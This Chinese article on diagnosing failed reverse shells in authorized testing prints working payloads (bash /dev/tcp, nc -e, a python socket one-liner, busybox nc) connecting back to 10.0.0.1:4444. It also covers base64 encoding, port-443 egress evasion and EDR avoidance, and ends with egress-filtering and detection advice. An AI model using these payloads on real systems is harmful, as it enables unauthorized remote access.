ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

反弹Shell弹不出?三步定位链路故障,从排错到实战绕过

反弹Shell弹不出?三步定位链路故障,从排错到实战绕过 你能想象那种感觉吗授权测试做完了、RCE也拿到了命令都能正常执行了结果反弹shell就是弹不出来。nc -lvp 4444 这头开着那头命令也发了屏幕上却一片死寂。我至今记得第一次在内网靶场里遇到SHELL弹不出时硬是折腾到后半夜最后发现原因特别蠢——监听地址写成了127.0.0.1目标机压根连不进来。类似这种弹不出的SHELL的故障十有八九都不是什么高深的安全攻防技术问题而是整条连接链路里某个不起眼的细节在捣乱。这篇文章就围绕这个老大难问题把我在授权测试和实战演练中踩过的坑、总结出来的排查顺序和工具链完整讲一遍希望能帮你少走点弯路。1. 反弹Shell的连接链路到底长什么样1.1 为什么非要用反弹而不是正向连接很多刚接触这块的朋友会有个疑惑既然我已经在目标上执行命令了为什么不直接让它监听一个端口然后我连过去不就行了这个思路本身没错它叫正向连接bind shell但实际场景里经常走不通。原因在于目标主机往往处在一个你没法直接触达的位置。企业内网、NAT网关后面、云主机安全组里外部流量默认进不来。就算目标真的监听了一个端口防火墙和路由策略也会把你拦在外面。而反弹shell是反过来的思路目标主机主动向外发起连接连回你控制的测试机。只要目标能出网这条TCP连接就能建立起来你自然就绕过了一大堆入站不可达的限制。所以搞清楚反向连接这个本质很重要。后面所有排查思路都是围绕目标主动连向监听端这个方向展开的一旦方向搞反了你会浪费大量时间。1.2 把链路拆成三段监听端、网络路径、目标端排错最忌讳一上来就瞎试。我的习惯是先把反弹shell这条链路拆成三个环节每一段单独验证问题马上就能缩小到很小的范围。监听端你的测试机监听地址对不对、端口有没有被占用、防火墙有没有放行、nc/socat是否真的在监听。网络路径中间链路目标机到测试机的路由是否可达、中间是否有一层出站防火墙在做拦截、云安全组和VPC网络规则是否放行。目标端被测试的主机命令是否真的执行了、目标上是否存在对应的解释器bash/python/powershell、执行环境有没有把命令截断、EDR/AV是否悄悄把进程干掉了。下面这张表是我自己常用的故障定位速查表基本覆盖了绝大多数SHELL弹不出的场景故障环节典型表现最常见原因监听端目标能连上端口但没数据回显监听在127.0.0.1而不是0.0.0.0监听端目标连过来直接被拒nc未真正启动、端口被占用网络路径抓包只有SYN没有SYN-ACK出站防火墙/安全组拦截网络路径连接超时路由不通、目标机无法出网目标端命令执行但没效果目标没有/bin/bash或nc命令报错被吞目标端连接建立但马上断开杀软/EDR拦截了进程链目标端特殊字符被转义webshell/URL/JSON编码问题1.3 我踩过的第一个坑监听地址写错说个让我印象特别深的翻车案例。有一回在靶场里我已经确认目标可以执行命令也在测试机上敲了监听4444端口的命令信心满满地把反弹命令发过去结果监听端纹丝不动。我反复确认目标网络没问题、命令格式也没错最后用ss -lntp一看监听地址才发现自己启动监听时写的是nc -lvnp 127.0.0.1:4444端口只绑在了回环地址上目标机当然连不进来。很多老手栽跟头都是栽在这种地方。记住一个原则所有反弹shell的监听端一律监听在0.0.0.0上也就是nc -lvnp 4444这种写法而不是指定某个具体IP。如果监听端是云服务器还要顺手检查一下安全组入站规则有没有放行对应端口这属于监听端环境的一部分很多人漏掉。1.4 另一个隐蔽问题nc版本差异传统Linux发行版自带的nc五花八门OpenBSD版和传统版的行为差异很大。传统版nc通常支持-e参数可以直接执行程序比如nc -e /bin/bash 10.0.0.1 4444但OpenBSD版的nc不支持-e你敲完命令只会得到一个报错目标端根本没执行成功。所以不要一上来就默认目标主机的nc支持-e。我在实际测试时经常改用bash、python这类更通用的方式做初始连接nc只用来做端口连通性验证。这些载荷的选型细节下一节详细讲。2. 按顺序排错一次完整的实测排查过程2.1 第一步先证明监听端口本身没问题排查弹不出必须从最靠近自己的一端开始别急着怀疑目标。先做一次本地回环测试确认监听程序本身没毛病。在一个终端窗口执行nc -lvnp 4444然后在另一个终端窗口执行nc -v 127.0.0.1 4444如果第一个窗口显示有连接进来说明监听端工作正常。用这个方法三分钟就能排除监听端配置错误这个最大的嫌疑。如果本地连不上优先看两件事端口是否被占用ss -lntp | grep 4444nc进程是否真的在运行ps aux | grep nc本地自测还可以更彻底一点用bash的/dev/tcp特性直接做TCP层连通测试不依赖nc程序是否存在timeout 2 bash -c echo test /dev/tcp/127.0.0.1/4444 echo ok如果屏幕输出ok说明TCP三次握手已经成功监听端毫无问题故障源头可以安心排除。2.2 第二步验证网络路径是否可达监听端确认没问题之后下一步要从另一台和测试机位于同一可达网络的机器上主动连一次监听端口。这一步的目的是把监听端本身和跨主机的网络路径分隔开。比如测试机IP是10.0.0.1就从另一台主机执行nc -v 10.0.0.1 4444如果这台中间主机能连上那说明网络路径基本通畅问题大概率在目标端。如果连不上则说明问题出在从中间主机到监听端这一段继续检查防火墙、安全组、路由。这里有个细节我在验证时经常顺手用tcpdump抓包直接在监听机上执行sudo tcpdump -i any tcp port 4444 -nn -vv看是否有SYN包到达。如果连SYN都没到那就是网络路径的问题如果SYN到了但监听端没回ACK那才是监听端配置问题。这个抓包习惯能省掉很多无谓的猜测后面第4章还会展开讲。2.3 第三步确认目标端的命令是否真正执行很多SHELL弹不出不是连接不通而是目标端的反弹命令压根就没执行成功。尤其是在通过webshell、反序列化漏洞或者某些RCE接口执行命令时命令往往会被截断、转义甚至被安全设备拦掉。我的做法是先执行一个简单的带外标记命令确认命令执行链路本身是通的。比如在目标机上执行curl http://测试机IP:8888/test测试机这边提前跑一个python3 -m http.server 8888看能否收到请求。或者更简单一点在目标机上执行ping 测试机IP如果在监听端抓包能看到ICMP请求说明目标机的出站网络是通的命令也能正常执行。到这里故障范围就缩小到了反弹命令本身的载荷问题。2.4 载荷选型对照bash、nc、python、powershell、socat不同目标环境需要不同的载荷类型。我在排错时有个原则先用最通用的方式打通再考虑优化和绕过的可能性。下面这张表是我常用的初始载荷对照载荷类型适用环境特点常见坑bash /dev/tcpLinux有bash命令短依赖少目标可能是sh而不是bashnc -e /bin/bashLinuxtraditional nc简单直接OpenBSD版nc不支持-epythonLinux/Windows有python兼容性强可控性高python3和python2语法不同socatLinux较完整环境功能强可做TLS中继目标不一定装了socatpowershellWindowsWindows下首选命令长容易被截断/拦截经典bash反弹命令长这样bash -i /dev/tcp/10.0.0.1/4444 01这条命令的原理是把bash的交互式输入输出错误全部重定向到/dev/tcp/10.0.0.1/4444这个TCP连接上。如果目标是精简容器或者Alpine系统可能没有/bin/bash只有/bin/sh这时可以把命令里的bash换成sh但功能上有差异。如果担心bash路径问题建议用绝对路径/bin/bash。python载荷适合精细控制但注意python2和python3语法不通用python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((10.0.0.1,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([/bin/sh,-i])Windows环境首选powershell但那条编码后的命令很长在webshell里很容易出问题后文会讲怎么处理。2.5 从报错里找线索执行上下文和特殊字符问题目标端命令能不能执行成功最直接的证据是报错但很多时候你看不到报错。比如通过webshell执行命令返回的只有页面输出错误信息被吞了。这种情况下我建议分两步验证。先在目标端执行一个能产生可见输出的命令比如echo test_ok /tmp/out.txt然后再读这个文件cat /tmp/out.txt确认命令真的执行了。如果文件都写不进去说明执行环境本身被限制得很死这时候就要考虑权限、目录可写性等问题而不是反弹shell格式的问题。另一个非常常见的坑是特殊字符在传递过程中被转义。bash反弹命令里有、、这类字符如果你是在URL、JSON、XML或者某些代码框架里传递命令这些字符极有可能被吃掉或者被转义命令到目标端已经变成残缺的了。解决办法有两个一是URL编码把命令里的特殊字符全部转换成%3E、%26这种形式二是base64编码这是我个人最推荐的方式因为在目标端只需要执行一条没有特殊字符的命令echo YWJjZAo | base64 -d | bash把原始反弹命令先base64编码再在目标端解码执行。这样能绕开绝大多数引号、空格、特殊字符带来的解析问题尤其在webshell场景下极其好用。你只需要保证目标端有base64命令和bash即可。3. 最容易被漏掉的隐形拦截者3.1 出站防火墙与Egress过滤连接建立不了的最常见原因当你确认了监听端没问题、命令也确实执行了却还是弹不出shell那就要考虑目标端的出站网络策略了。现代企业网络普遍部署了出站防火墙Egress Firewall规则常见的是只允许80/443端口出站其他全部拒绝。这种策略下你监听4444端口目标机的连接包一出网就被防火墙丢掉表现出来就是目标执行了命令但监听端什么都收不到。验证手段很简单在目标机上用nc主动访问测试机端口观察是超时还是拒绝。比如在目标机上执行nc -vz 10.0.0.1 4444如果一直超时基本可以断定出站方向被拦截了。这时候有个常见的实践是改用443端口监听因为很多防火墙会放行443。但要注意这只是让流量伪装成了HTTPS真正严格的防护还会做协议识别看到非TLS流量一样拦。再进一步如果连443都被限制但允许HTTP代理出网那就考虑用HTTP外带的方式把执行结果传出来。这条路径已经不是单纯反弹shell了但排查思路是一样的先去试探出站规则到底放行了什么。3.2 端侧防护EDR/AV对子进程加网络连接的敏感拦截现在的终端安全软件早已不是简单的特征码查杀而是行为检测。反弹shell的行为特征太明显了一个Web服务进程比如php-fpm、tomcat突然fork出一个shell子进程这个子进程又把标准输入输出重定向到一个外连socket上。EDR看到这种进程链和网络行为的组合基本都会直接杀掉进程甚至触发告警。这种拦截往往悄无声息。目标端命令执行了连接也短暂建立了一下但进程立刻被终止。从监听端看可能看到TCP连接闪了一下就断开甚至什么都看不到。这时候需要仔细看监听端的nc -lvnp输出有没有一闪而过的连接记录。面对这种拦截唯一稳妥的思路是不要硬刚而是结合授权范围换一种更隐蔽的方式比如用HTTPS封装、DNS外带或者利用目标已有的合法管理通道。但从排错角度说先确认是不是EDR拦截的方法是在目标端看系统日志Linux的syslog里经常会有进程被kill的记录Windows则看安全审计日志。把是不是被杀软拦了这个问题确认掉比盲目换载荷重要得多。3.3 容器与最小化系统没有bash、没有nc、网络受限现在的业务系统越来越容器化很多目标主机其实是一个个精简的容器。这类环境有三个典型问题没有bash很多容器镜像基于Alpine只有sh或者busyboxbash命令根本不存在。没有nc/python基础镜像为了节省体积常用工具基本都没有传统载荷全部失效。网络命名空间隔离容器的网络策略比如Kubernetes的NetworkPolicy可能只允许容器访问特定服务外部IP全被挡。遇到这种环境第一步先用which busybox看看有没有busybox很多精简镜像会带这个工具里面包含了nc命令可以用busybox nc -e /bin/sh 10.0.0.1 4444这种形式。如果连busybox都没有就得利用当时已经获得的执行环境做文章了比如通过写文件的方式落一个静态编译的代理程序但这属于另一个话题这里先不展开。3.4 监听端自身的坑端口占用、IPv6、云安全组排错时不要把目光全放在目标端监听端自身的环境同样藏着不少坑。端口占用有时候你在测试机上开了多个监听窗口前面的nc还没退出端口被占着后面的nc虽然显示在执行但根本没bind成功。用ss -lntp查一下最靠谱。IPv6问题如果你的nc监听时解析到了IPv6的::而目标机走的是IPv4两边就握不上手。监听大端口时我通常显式加-4参数强制走IPv4。云服务器安全组我用云服务器做监听端时至少被安全组坑过三次。本地防火墙放行了nc也监听在0.0.0.0了但安全组入站规则没放行对应端口外部还是连不进。记得在云控制台里把所有需要用的端口都放出来只对测试机IP来源开放。4. 用抓包和日志把故障定位到具体某一段4.1 tcpdump经典用法观察SYN、SYN-ACK、RST三段式当弹不出问题反复出现时与其靠猜不如直接看包。tcpdump是我排障时最依赖的工具没有之一。在监听机上执行sudo tcpdump -i eth0 host 目标机IP and tcp port 4444 -nn然后让目标机重新执行反弹命令。此时看抓包结果基本能判断故障在哪一段抓包现象故障定位只有SYN包无SYN-ACK监听端没正常监听或SYN被中间设备丢弃SYN → SYN-ACK → RST监听端端口没监听或监听程序拒绝连接SYN → SYN-ACK → ACK无数据流TCP已建立但shell进程没起来或数据传不回完全看不到任何目标机IP的包目标机根本没出网或网络路径不可达这个表是我自己的排错地图。看到只有SYN时我第一反应是去查监听端是不是真的在0.0.0.0上监听看到SYN-ACK后RST时我会怀疑nc程序本身崩了看到三次握手成功但无数据就去查目标端命令执行环境。4.2 定位案例连接被丢包、被拒绝、建连后无数据我拿一个实际案例串一遍。某次授权演练目标机上通过webshell执行bash反弹命令监听端完全没反应。我先在监听端抓包结果发现目标机的SYN包根本就没到。这时候我判断是目标机出网问题于是让目标机执行ping 测试机IP监听端抓ICMP包发现ICMP也不通。继续往上追发现目标机所在网段的路由指向了一个隔离区出站流量要经过一台单独的防火墙设备而那台防火墙只放行了80/443端口。后来我把监听端口改成443连接就通了。另一个案例是目标机可以访问测试机端口测试也通了但反弹命令执行后监听端没有任何shell回显。抓包显示TCP三次握手都完成了但建立连接后立刻出现RST。我怀疑是目标端的shell进程被杀死查了目标机的syslog果然看到EDR进程拦截的审计记录。确认是防护拦截后我换了另一种更贴近正常业务流量的载荷方式问题才解决。4.3 日志与告警的补充价值syslog、EDR、防火墙会话日志抓包看的是网络层事实日志看的是进程层事实两者结合起来才能还原全貌。在Linux目标机上如果系统开启了审计服务可以快速查看shell进程相关的审计记录sudo grep bash /var/log/audit/audit.log | tail -20如果看到SYSCALL记录里有一条从/bin/bash发起的execve执行记录后面又跟了一条信号为SIGKILL的记录那就基本实锤是端侧防护干的。Windows目标机则重点看事件ID 4688进程创建确认powershell或者cmd进程是否被创建后又立即消失。网络侧的防火墙日志同样有用。企业防火墙一般会记录所有会话的开始和结束时间、源目IP、目标端口。如果能看到SYN被拒绝的记录但抓包又看不到说明拦截发生在更上层的设备上这时候可以拿着防火墙会话日志去和网络管理员对线效率高很多。5. 防守视角怎样让弹不出的SHELL成为默认状态5.1 出站策略从黑名单转向默认拒绝加白名单聊了这么多排查经验最后从防守方视角复盘一下一个网络要怎么做才能让反弹shell弹不出来成为默认状态核心就一句话别把出站流量当好人。传统安全策略的重心全在入站方向入站防得死死的出站却基本全放行。结果就是一旦攻击者拿到一个命令执行点反弹shell如入无人之境。真正的防御思路是出站方向从默认放行改成默认拒绝只放行业务必需的目的地和端口。比如一家公司业务系统只需要访问数据库、缓存、对象存储和一些内部API那就把这些目标IP和端口加进白名单其余出站连接全部拒绝。即使攻击者在目标上执行了反弹命令TCP连接在防火墙上就被断了连到监听端的机会都没有。5.2 检测反弹Shell行为的关键特征进程链、短连接、低频长连接除了网络层拦截端侧和行为侧检测也不能放松。反弹shell有几个很难伪装的特征异常进程链Web服务进程nginx/php-fpm/tomcat派生出了shell解释器进程。正常业务里Web进程不会fork出一个bash出来这个特征非常硬。进程网络行为shell进程主动发起对外TCP连接并且把标准输入输出重定向到了socket上。这种交互式进程加外联socket的组合在正常运维场景中极少见。异常连接模式攻击者拿到shell后通常先探测网络、翻文件行为模式是高频短连接然后在横向移动时又变成低频长连接。流量侧模型可以针对这种时序特征做告警。Linux端可以用auditd监控特定可执行文件的执行行为比如添加一条审计规则auditctl -w /bin/bash -p x -k shell_detect然后在告警分析里重点看触发bash执行的父进程是不是Web服务。Windows端则可以利用ETW或Sysmon的事件ID和进程父子关系做关联。5.3 攻防演练中的验证闭环自己人先打不进来才算有效防御策略做得好不好不能只靠纸面推演一定要在攻防演练或红队评估中验证。我在参与这种验证时最直观的标准就是看反弹shell还能不能成功。防守队的技术负责人最愿意看到的场景就是红队拿到一个RCE点折腾两小时弹不出shell最后只能通过日志回显一点点抠信息。这恰恰说明egress过滤、端侧行为检测和日志审计这几道防线是联动生效的。反过来如果红队三分钟就弹出一个交互shell那不管你的SIEM里堆了多少告警规则都得回去重新审视自己的出站策略和进程监控覆盖度。有了这个验证闭环网络安全人员对自己的防护体系才心里有底。毕竟弹不出的SHELL不只是一句调侃它背后代表着一整套链路防护是真的在干活。5.4 给普通团队的三条落地建议如果你们团队的安全基础比较薄弱我建议先从成本最低的三件事入手。第一防火墙出站规则先收紧最危险的端口段比如只允许特定机器访问外网的22/3389等远程管理端口其他主机一律仅放行80/443。第二在核心业务服务器上部署进程级监控监控Web进程派生shell这个单一但高价值的异常行为规则不需要多一条精准规则比一千条模糊规则有用。第三把反弹shell的排查方法和检测指标写进应急响应预案定期做演练。至少让值班工程师知道看到告警后先去哪台机器抓包、看哪几类日志而不是等攻击者都横向移动了才反应过来。说实话排查弹不出的过程往往比拿到那个shell本身更值钱。我后来养成了一个习惯所有反弹shell的载荷先在本地两台虚机之间完整跑通再上正式的授权测试环境。这个习惯帮我省下了无数个半夜。你也可以搭一个最小实验环境一台监听机、一台目标机中间随便加一台带防火墙规则的虚拟机模拟丢包把文章里提到的故障都复现一遍。几次下来你对整条链路的感觉会完全不一样以后再遇到SHELL弹不出基本扫一眼抓包结果就知道问题出在哪一环了。
返回列表